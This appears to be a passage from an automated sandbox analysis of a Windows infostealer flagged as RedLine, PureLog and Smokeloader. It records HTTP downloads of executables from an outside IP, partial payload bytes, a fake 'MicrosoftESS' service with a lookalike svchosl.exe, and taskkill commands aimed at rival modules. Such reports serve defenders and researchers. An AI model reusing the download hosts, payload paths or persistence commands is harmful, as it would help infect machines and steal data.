Jul 2, 2024 22:52:33.980355978 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.980374098 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.980446100 CEST	80	49712	77.221.149.185	192.168.2.5

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49712	77.221.149.185	80	6472	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 22:52:23.311242104 CEST	79	OUT	GET /clients/123.exe HTTP/1.1 Host: 77.221.149.185 Connection: Keep-Alive
Jul 2, 2024 22:52:23.885660887 CEST	1236	IN	HTTP/1.1 200 OK Date: Tue, 02 Jul 2024 20:52:23 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 01 Jul 2024 21:53:52 GMT ETag: "5723fc-61c36a2003c00" Accept-Ranges: bytes Content-Length: 5710844 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 78 5f 63 ed 3c 3e 0d be 3c 3e 0d be 3c 3e 0d be 88 a2 fc be 31 3e 0d be 88 a2 fe be b2 3e 0d be 88 a2 ff be 24 3e 0d be 9d 49 f0 be 3e 3e 0d be 9d 49 09 bf 2f 3e 0d be 9d 49 0e bf 2b 3e 0d be 9d 49 08 bf 08 3e 0d be 35 46 8e be 37 3e 0d be 35 46 9e be 3b 3e 0d be 3c 3e 0c be 29 3f 0d be c9 49 08 bf 0d 3e 0d be c9 49 0d bf 3d 3e 0d be c9 49 f2 be 3d 3e 0d be c9 49 0f bf 3d 3e 0d be 52 69 63 68 3c 3e 0d be 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 8d bf 20 62 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 1e 00 1c 03 00 00 c8 01 00 00 00 00 00 30 f5 01 00 00 10 00 00 00 30 03 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$x_c<><><>1>>$>I>>I/>I+>I>5F7>5F;><>)?I>I=>I=>I=>Rich<>PEL b00@`@p4P@P0<#TU@0x .text `.rdata0 @@.data G@.didat0@.rsrcP@@@.reloc<#0$@B
Jul 2, 2024 22:52:23.885678053 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: h CMDj[0D>hp+CiYh+CSYDDSxzEVh+CY
Jul 2, 2024 22:52:23.885688066 CEST	1236	IN	Data Raw: 00 00 eb 06 8b c3 eb 02 8b c1 89 86 d4 21 00 00 8a 80 a1 71 00 00 83 8e d8 21 00 00 ff 83 8e dc 21 00 00 ff 83 8e e0 21 00 00 ff 6a 40 88 46 30 8d 86 20 22 00 00 53 50 c7 86 c8 6c 00 00 02 00 00 00 89 9e cc 6c 00 00 89 9e d0 6c 00 00 89 9e d8 6c Data Ascii: !q!!!j@F0 "SPllll!!lfl!llllj4`"SPj ESPM$l3llmmmmfmlm
Jul 2, 2024 22:52:23.885744095 CEST	1236	IN	Data Raw: 85 08 00 00 8b 4f 10 52 50 ff 15 78 32 43 00 8b ce ff 57 10 68 70 36 43 00 8b ce e8 3d 26 00 00 85 c0 74 11 ff 74 24 10 8b ce e8 db 04 00 00 84 c0 74 02 b3 01 8a c3 5f 5e 5b c2 04 00 80 b9 d4 6c 00 00 00 8b 54 24 04 74 1a 8b c2 f7 d8 83 e0 0f 03 Data Ascii: ORPx2CWhp6C=&tt$t_^[lT$tluUlu2AESVWpx2Ct$MjVWqx2C_^[]Z&Cj,SVWj_"WQlplx
Jul 2, 2024 22:52:23.885755062 CEST	1236	IN	Data Raw: 72 75 2e 80 78 03 21 75 28 80 78 04 1a 75 22 80 78 05 07 75 1c 8a 40 06 84 c0 75 04 6a 02 eb 10 3c 01 75 04 6a 03 eb 08 2c 02 3c 02 77 03 6a 04 59 8b c1 c2 08 00 b8 73 26 43 00 e8 1e cd 01 00 83 ec 18 53 33 db 8b c1 89 45 f0 89 5d dc 89 5d e0 89 Data Ascii: ru.x!u(xu"xu@uj<uj,<wjYs&CS3E]]]]]SSM]Q6VW}MjMEu\GPEluv6uo-FtW6u3fxv6u6YP_
Jul 2, 2024 22:52:23.885785103 CEST	1236	IN	Data Raw: 89 43 20 89 4b 24 8b 44 24 20 a8 02 74 25 8b cf e8 f8 a9 00 00 8b c8 0b ca 74 18 8b 4c 24 1c 03 81 b8 6c 00 00 8b 89 bc 6c 00 00 13 ca 89 43 30 89 4b 34 8b 4c 24 24 8b 54 24 18 83 7b 04 02 74 0a 83 7b 04 03 0f 85 10 05 00 00 85 ed 0f 87 08 05 00 Data Ascii: C K$D$ t%tL$llC0K4L$$T${t{rlt;{uG+ui(UU6;D$ !!
Jul 2, 2024 22:52:23.885797024 CEST	1236	IN	Data Raw: 2c 8b cf 50 e8 92 a4 00 00 8d 44 24 54 50 e8 41 d8 00 00 6a 08 56 8d 44 24 5c 50 e8 7a d8 00 00 8d 44 24 2c 50 8d 44 24 58 50 e8 42 d7 00 00 6a 04 8d 44 24 30 50 8d 44 24 30 50 e8 48 e4 01 00 83 c4 0c f7 d8 1a c0 fe c0 83 7b 04 03 88 83 c1 10 00 Data Ascii: ,PD$TPAjVD$\PzD$,PD$XPBjD$0PD$0PH{ujh6CV&uL$OG+^][_ UX&C$ SVMWS]3jMM_8lt\|l39
Jul 2, 2024 22:52:23.886364937 CEST	1236	IN	Data Raw: 00 00 38 8e 9b 10 00 00 74 43 83 ea 0d 74 34 4a 83 ea 01 74 22 83 ea 05 74 11 83 ea 06 74 0c c7 86 9c 10 00 00 04 00 00 00 eb 22 c7 86 9c 10 00 00 03 00 00 00 eb 16 c7 86 9c 10 00 00 02 00 00 00 eb 0a c7 86 9c 10 00 00 01 00 00 00 8a 46 18 c7 86 Data Ascii: 8tCt4Jt"tt"F<t<t<s<u"EH%=u3ft9N$\|F$t+MM}Tuu33
Jul 2, 2024 22:52:23.886375904 CEST	1236	IN	Data Raw: b3 fc 21 00 00 f3 a5 8d 4d 1c e8 4d 9a 00 00 8d 4d 1c 66 89 83 34 22 00 00 e8 73 9a 00 00 8a 8b 28 22 00 00 8b d0 80 e1 01 89 93 38 22 00 00 88 8b cd 6c 00 00 8b 8b 28 22 00 00 c1 e9 03 80 e1 01 88 8b cc 6c 00 00 8b 8b 28 22 00 00 8b c1 c1 e8 02 Data Ascii: !MMMf4"s("8"l("l("$l$l$lu3f94"tl$<"$llj_jM9!"yvuSEtJ
Jul 2, 2024 22:52:23.886387110 CEST	1236	IN	Data Raw: 8b c2 83 e8 01 0f 84 01 04 00 00 83 e8 01 0f 84 44 01 00 00 83 e8 01 0f 84 3b 01 00 00 83 e8 01 74 3e 83 e8 01 0f 85 98 04 00 00 6a 05 59 8d bb a8 45 00 00 8d b3 fc 21 00 00 f3 a5 8d 4d 30 e8 79 96 00 00 24 01 88 83 c4 45 00 00 33 c0 66 89 83 c6 Data Ascii: D;t>jYE!M0y$E3fEEcjY`"!M0Dt(Ph6CEjPEPC2P_-M0$M0t"x"vPh6Cj\|"PM0;t"t_j"
Jul 2, 2024 22:52:23.890647888 CEST	640	IN	Data Raw: 30 e8 e3 da ff ff 8b 45 64 8b 4d f4 5f 5e 5b 64 89 0d 00 00 00 00 83 c5 6c c9 c3 57 8b f9 80 bf dd 6c 00 00 00 74 04 33 c0 5f c3 8b 07 56 8b 70 14 8b ce ff 15 78 32 43 00 8b cf ff d6 89 87 b8 6c 00 00 33 c9 8b 87 c8 6c 00 00 48 89 97 bc 6c 00 00 Data Ascii: 0EdM_^[dlWlt3_Vpx2Cl3lHl^tu=t'l;l#\|l;lw-3!_&CVltF2PjjD1fFN3
Jul 2, 2024 22:52:28.332710028 CEST	55	OUT	GET /clients/mig.exe HTTP/1.1 Host: 77.221.149.185
Jul 2, 2024 22:52:28.484513998 CEST	1236	IN	HTTP/1.1 200 OK Date: Tue, 02 Jul 2024 20:52:28 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 24 Jun 2024 07:21:38 GMT ETag: "2cf6b5b-61b9da1c32480" Accept-Ranges: bytes Content-Length: 47147867 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 78 5f 63 ed 3c 3e 0d be 3c 3e 0d be 3c 3e 0d be 88 a2 fc be 31 3e 0d be 88 a2 fe be b2 3e 0d be 88 a2 ff be 24 3e 0d be 9d 49 f0 be 3e 3e 0d be 9d 49 09 bf 2f 3e 0d be 9d 49 0e bf 2b 3e 0d be 9d 49 08 bf 08 3e 0d be 35 46 8e be 37 3e 0d be 35 46 9e be 3b 3e 0d be 3c 3e 0c be 29 3f 0d be c9 49 08 bf 0d 3e 0d be c9 49 0d bf 3d 3e 0d be c9 49 f2 be 3d 3e 0d be c9 49 0f bf 3d 3e 0d be 52 69 63 68 3c 3e 0d be 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 8d bf 20 62 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 1e 00 1c 03 00 00 c8 01 00 00 00 00 00 30 f5 01 00 00 10 00 00 00 30 03 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$x_c<><><>1>>$>I>>I/>I+>I>5F7>5F;><>)?I>I=>I=>I=>Rich<>PEL b00@`@p4P@P0<#TU@0x .text `.rdata0 @@.data G@.didat0@.rsrcP@@@.reloc<#0$@B

Target ID:	0
Start time:	16:51:53
Start date:	02/07/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0x400000
File size:	413'184 bytes
MD5 hash:	FDB35993F43FB0C0B3FADB2AEF70B0BE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_Smokeloader_3687686f, Description: unknown, Source: 00000000.00000002.3277615325.00000000029E0000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: MALWARE_Win_RedLine, Description: Detects RedLine infostealer, Source: 00000000.00000003.2077593562.0000000004420000.00000004.00001000.00020000.00000000.sdmp, Author: ditekSHen Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 00000000.00000002.3280253389.00000000045AC000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000000.00000002.3280253389.00000000045AC000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 00000000.00000002.3280551668.0000000004800000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000000.00000002.3280551668.0000000004800000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000000.00000002.3278134834.0000000002AA1000.00000040.00000020.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 00000000.00000002.3289464221.0000000007590000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000000.00000002.3289464221.0000000007590000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security Rule: MALWARE_Win_RedLine, Description: Detects RedLine infostealer, Source: 00000000.00000002.3275621443.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Author: ditekSHen Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 00000000.00000003.2079601696.0000000006D61000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000000.00000003.2079601696.0000000006D61000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	3
Start time:	16:52:27
Start date:	02/07/2024
Path:	C:\Users\123.exe
Wow64 process (32bit):	true
Commandline:	"C:\users\123.exe"
Imagebase:	0xeb0000
File size:	5'710'844 bytes
MD5 hash:	4A24AAD5274BE7E1FD5E3EF95EA20F8F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	16:52:28
Start date:	02/07/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /c ""C:\programdata\MicrosoftSystem\run.bat" "
Imagebase:	0x790000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	16:52:28
Start date:	02/07/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	16:52:28
Start date:	02/07/2024
Path:	C:\ProgramData\MicrosoftSystem\Wmiic.exe
Wow64 process (32bit):	false
Commandline:	"C:\programdata\MicrosoftSystem\wmiic.exe" install MicrosoftESS svchosl.exe
Imagebase:	0x140000000
File size:	373'760 bytes
MD5 hash:	A18BFE142F059FDB5C041A310339D4FD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 68%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	16:52:28
Start date:	02/07/2024
Path:	C:\Windows\SysWOW64\timeout.exe
Wow64 process (32bit):	true
Commandline:	TIMEOUT /T 1 /NOBREAK
Imagebase:	0xe10000
File size:	25'088 bytes
MD5 hash:	976566BEEFCCA4A159ECBDB2D4B1A3E3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	16:52:28
Start date:	02/07/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	16:52:29
Start date:	02/07/2024
Path:	C:\ProgramData\MicrosoftSystem\Wmiic.exe
Wow64 process (32bit):	false
Commandline:	"C:\programdata\MicrosoftSystem\wmiic" start MicrosoftESS
Imagebase:	0x140000000
File size:	373'760 bytes
MD5 hash:	A18BFE142F059FDB5C041A310339D4FD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	16:52:29
Start date:	02/07/2024
Path:	C:\Windows\SysWOW64\timeout.exe
Wow64 process (32bit):	true
Commandline:	TIMEOUT /T 2 /NOBREAK
Imagebase:	0xe10000
File size:	25'088 bytes
MD5 hash:	976566BEEFCCA4A159ECBDB2D4B1A3E3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	16:52:29
Start date:	02/07/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	16:52:29
Start date:	02/07/2024
Path:	C:\ProgramData\MicrosoftSystem\Wmiic.exe
Wow64 process (32bit):	false
Commandline:	C:\programdata\MicrosoftSystem\Wmiic.exe
Imagebase:	0x140000000
File size:	373'760 bytes
MD5 hash:	A18BFE142F059FDB5C041A310339D4FD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	16:52:29
Start date:	02/07/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	16:52:29
Start date:	02/07/2024
Path:	C:\ProgramData\MicrosoftSystem\svchosl.exe
Wow64 process (32bit):	false
Commandline:	"svchosl.exe"
Imagebase:	0x7ff77b320000
File size:	5'424'070 bytes
MD5 hash:	9F478308A636906DB8C36E77CE68B4C2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	15
Start time:	16:52:29
Start date:	02/07/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	16
Start time:	16:52:30
Start date:	02/07/2024
Path:	C:\ProgramData\MicrosoftSystem\svchosl.exe
Wow64 process (32bit):	false
Commandline:	"svchosl.exe"
Imagebase:	0x7ff77b320000
File size:	5'424'070 bytes
MD5 hash:	9F478308A636906DB8C36E77CE68B4C2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	17
Start time:	16:52:31
Start date:	02/07/2024
Path:	C:\Windows\SysWOW64\net.exe
Wow64 process (32bit):	true
Commandline:	net start MicrosoftESS
Imagebase:	0x5f0000
File size:	47'104 bytes
MD5 hash:	31890A7DE89936F922D44D677F681A7F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	16:52:31
Start date:	02/07/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c taskkill /f /im rdp_modul_v1.exe
Imagebase:	0x7ff7ce390000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	16:52:31
Start date:	02/07/2024
Path:	C:\Windows\SysWOW64\net1.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\net1 start MicrosoftESS
Imagebase:	0x2c0000
File size:	139'776 bytes
MD5 hash:	2EFE6ED4C294AB8A39EB59C80813FEC1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	16:52:31
Start date:	02/07/2024
Path:	C:\Windows\System32\taskkill.exe
Wow64 process (32bit):	false
Commandline:	taskkill /f /im rdp_modul_v1.exe
Imagebase:	0x7ff6564a0000
File size:	101'376 bytes
MD5 hash:	A599D3B2FAFBDE4C1A6D7D0F839451C7
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	16:52:31
Start date:	02/07/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c taskkill /f /im rdp_modul_v2.exe
Imagebase:	0x7ff7ce390000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	16:52:31
Start date:	02/07/2024
Path:	C:\Windows\System32\taskkill.exe
Wow64 process (32bit):	false
Commandline:	taskkill /f /im rdp_modul_v2.exe
Imagebase:	0x7ff6564a0000
File size:	101'376 bytes
MD5 hash:	A599D3B2FAFBDE4C1A6D7D0F839451C7
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	16:52:32
Start date:	02/07/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c taskkill /f /im rdp_modul_v3.exe
Imagebase:	0x7ff7ce390000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	16:52:32
Start date:	02/07/2024
Path:	C:\Windows\System32\taskkill.exe
Wow64 process (32bit):	false
Commandline:	taskkill /f /im rdp_modul_v3.exe
Imagebase:	0x7ff6564a0000
File size:	101'376 bytes
MD5 hash:	A599D3B2FAFBDE4C1A6D7D0F839451C7
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	16:52:32
Start date:	02/07/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c taskkill /f /im wrm_modul_v1.exe
Imagebase:	0x7ff7ce390000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	16:52:32
Start date:	02/07/2024
Path:	C:\Windows\System32\taskkill.exe
Wow64 process (32bit):	false
Commandline:	taskkill /f /im wrm_modul_v1.exe
Imagebase:	0x7ff6564a0000
File size:	101'376 bytes
MD5 hash:	A599D3B2FAFBDE4C1A6D7D0F839451C7
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	27
Start time:	16:52:32
Start date:	02/07/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c taskkill /f /im wrm_modul_v2.exe
Imagebase:	0x7ff7ce390000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	28
Start time:	16:52:32
Start date:	02/07/2024
Path:	C:\Windows\System32\taskkill.exe
Wow64 process (32bit):	false
Commandline:	taskkill /f /im wrm_modul_v2.exe
Imagebase:	0x7ff6564a0000
File size:	101'376 bytes
MD5 hash:	A599D3B2FAFBDE4C1A6D7D0F839451C7
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	29
Start time:	16:52:32
Start date:	02/07/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c taskkill /f /im wrm_modul_v3.exe
Imagebase:	0x7ff7ce390000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	30
Start time:	16:52:32
Start date:	02/07/2024
Path:	C:\Windows\System32\taskkill.exe
Wow64 process (32bit):	false
Commandline:	taskkill /f /im wrm_modul_v3.exe
Imagebase:	0x7ff6564a0000
File size:	101'376 bytes
MD5 hash:	A599D3B2FAFBDE4C1A6D7D0F839451C7
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	31
Start time:	16:52:32
Start date:	02/07/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c taskkill /f /im ape_modul_v1.exe
Imagebase:	0x7ff7ce390000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	32
Start time:	16:52:32
Start date:	02/07/2024
Path:	C:\Windows\System32\taskkill.exe
Wow64 process (32bit):	false
Commandline:	taskkill /f /im ape_modul_v1.exe
Imagebase:	0x7ff6564a0000
File size:	101'376 bytes
MD5 hash:	A599D3B2FAFBDE4C1A6D7D0F839451C7
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	33
Start time:	16:52:32
Start date:	02/07/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c taskkill /f /im full_rdp_modul_v1.exe
Imagebase:	0x7ff7ce390000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	34
Start time:	16:52:32
Start date:	02/07/2024
Path:	C:\Windows\System32\taskkill.exe
Wow64 process (32bit):	false
Commandline:	taskkill /f /im full_rdp_modul_v1.exe
Imagebase:	0x7ff6564a0000
File size:	101'376 bytes
MD5 hash:	A599D3B2FAFBDE4C1A6D7D0F839451C7
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	35
Start time:	16:52:33
Start date:	02/07/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c taskkill /f /im rdp.exe
Imagebase:	0x7ff7ce390000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	36
Start time:	16:52:33
Start date:	02/07/2024
Path:	C:\Windows\System32\taskkill.exe
Wow64 process (32bit):	false
Commandline:	taskkill /f /im rdp.exe
Imagebase:	0x7ff6564a0000
File size:	101'376 bytes
MD5 hash:	A599D3B2FAFBDE4C1A6D7D0F839451C7
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	37
Start time:	16:52:33
Start date:	02/07/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c taskkill /f /im wrm_modul_v4.exe
Imagebase:	0x7ff7ce390000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	38
Start time:	16:52:33
Start date:	02/07/2024
Path:	C:\Windows\System32\taskkill.exe
Wow64 process (32bit):	false
Commandline:	taskkill /f /im wrm_modul_v4.exe
Imagebase:	0x7ff6564a0000
File size:	101'376 bytes
MD5 hash:	A599D3B2FAFBDE4C1A6D7D0F839451C7
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	39
Start time:	16:52:33
Start date:	02/07/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c taskkill /f /im nl.exe
Imagebase:	0x7ff7ce390000
